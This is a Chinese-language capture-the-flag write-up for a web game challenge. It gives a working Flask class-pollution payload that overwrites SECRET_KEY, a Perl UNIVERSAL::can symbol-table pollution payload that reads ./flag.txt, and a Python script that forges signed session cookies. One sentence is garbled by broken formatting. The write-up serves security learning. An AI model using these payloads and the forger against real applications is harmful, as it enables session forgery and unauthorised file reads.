题目实现了一个Game,分为前后端
part 1
前端存在明显原型污染
def copy(src, dst):for k, v in src.items():if hasattr(dst, "__getitem__"):if dst.get(k) and type(v) == dict:copy(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:copy(v, getattr(dst, k))else:setattr(dst, k, v)@app.route("/score", methods=["POST"])
@game_session
def submit():score = ScoreSubmission(session["game"]["player"])copy(request.json, score)acquired_items = json.loads(session["items"].decode())score.items = acquired_itemsreturn score.toJSON()
我们可以利用此处污染密钥让我们可以伪造session
https://tttang.com/archive/1876/#toc_secret_key
github.com/noraj/flask-session-cookie-manager
{"__init__" : {"__globals__" : {"app" : {"config" : {"SECRET_KEY" :"A5rZ"}}}}
}
part 2
后端也存在类似原型污染的东西
sub setAttribute {my $dst = shift;my $key_name = shift;my $value_ref = shift;if (!defined $key_name || $key_name eq '' || !defined $value_ref) {return 0;}no strict 'refs';*{"$dst"."::$key_name"} = $value_ref;use strict 'refs';return 1;}sub copyItems {my $dst = shift;my $src = shift;foreach my $key (keys %$src) {if (defined $dst->{$key} && ref $dst->{$key} eq 'HASH' && ref $src->{$key} eq 'HASH') {copyItems($dst->{$key}, $src->{$key});} elsif (!defined $dst->{$key}) {if (ref $src->{$key} ne 'HASH') {$dst->{$key} = $src->{$key};} else {foreach my $inner_key (keys %{$src->{$key}}) {my $index = $src->{$key}->{$inner_key};setAttribute($key, $inner_key, $game_artifacts->{$index});}}} elsif (defined $dst->{$key} && ref $dst->{$key} ne 'HASH') {$dst->{$key} = $src->{$key};}}return $dst;}
我们发现此处存在符号表污染,再结合路由逻辑思考
post '/event' => sub { my $choice = (body_parameters->get('choice'));my $player_name = (body_parameters->get('name'));if (!exists $curr_games{$player_name}) {return {success => 0};}my $game = $curr_games{$player_name};my $next = $all_events->{$game->currEv()}->{ev_choice}[$choice]{"goto"};$game->addEv($next);my $next_ev = $all_events->{$next};if ($game->currEv() == 20) {my $stats = deserialize(decode_json(decode_base64(body_parameters->get('items'))));$stats->{Game} = $player_name;$game->{inventory} = $stats;if ($game->{inventory}->can("hasAllItems")) {if ($game->{inventory}->hasAllItems($game_artifacts) == 1) {$next_ev = $all_events->{21};} else {$next_ev = $all_events->{22};}}}my $results = {success => 1,player => $player_name,ev_title => $next_ev->{ev_name},ev_desc => $next_ev->{ev_content},ev_choice => $next_ev->{ev_choice}};if (defined $next_ev->{ev_item}) {$results->{ev_item} = $next_ev->{ev_item};}if (defined $game->{inventory}) {foreach my $key (keys %{$game->{inventory}}) {$results->{items}->{$key} = $game->{inventory}->{$key};}}return $results;
};
在 Perl 中,UNIVERSAL 是所有类的祖先,can 方法用于判断对象是否有某个方法。当 can 被污染让其返回
item_delegate
,调用 g a m e − > i n v e n t o r y − > c a n ( " h a s A l l I t e m s " ) 实际会执行 i t e m d e l e g a t e ,并传入 game->{inventory}->can("hasAllItems") 实际会执行 item_delegate,并传入 game−>inventory−>can("hasAllItems")实际会执行 itemdelegate,并传入 game->{inventory} 作为参数
{"UNIVERSAL": {"can": "item_delegate"},"desc_filename": "./flag.txt","mermaid_scale": 1,"angels_scarf": 1,"mew_plaque": 1,"mimic_gem": 1
}
现在配合前端污染的key伪造session即可
#!/usr/bin/env python3
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface
from flask import Flask
import jsonsecret_key = "A5rZ"app = Flask(__name__)
app.secret_key = secret_keyGame_key = "Uzj1m86FEW"
payload = b'{"UNIVERSAL":{"can":"item_delegate"},"desc_filename":"./flag.txt","mermaid_scale":1,"angels_scarf":1,"mew_plaque":1,"mimic_gem":1}'# 构造 payload(与题目保持一致)
payload = {'game': {'ev_choice': [{'desc': 'Oh no', 'goto': 22, 'id': 0}],'ev_desc': "The pair look at each other before they beckon you to approach, and they do not look happy. The angel bellows, terrifyingly, of your misdeeds. 'First, you mess up the antechamber, tread dust on the carpets, and disrupt our guests. Do you think you are above the rules of this castle?' In one quick movement, a gust of wind takes you through the window and into the open air. It seems like the MYTHOS has claimed yet another victim.",'ev_title': 'MYTHOS BAD ENDING','items': {'Game': Game_key, 'Inventory': 'Inventory'},'player': Game_key, 'success': 1},'items': payload
}with app.app_context():s = SecureCookieSessionInterface().get_signing_serializer(app)cookie = s.dumps(payload)print("伪造好的 session cookie:\n")print(cookie)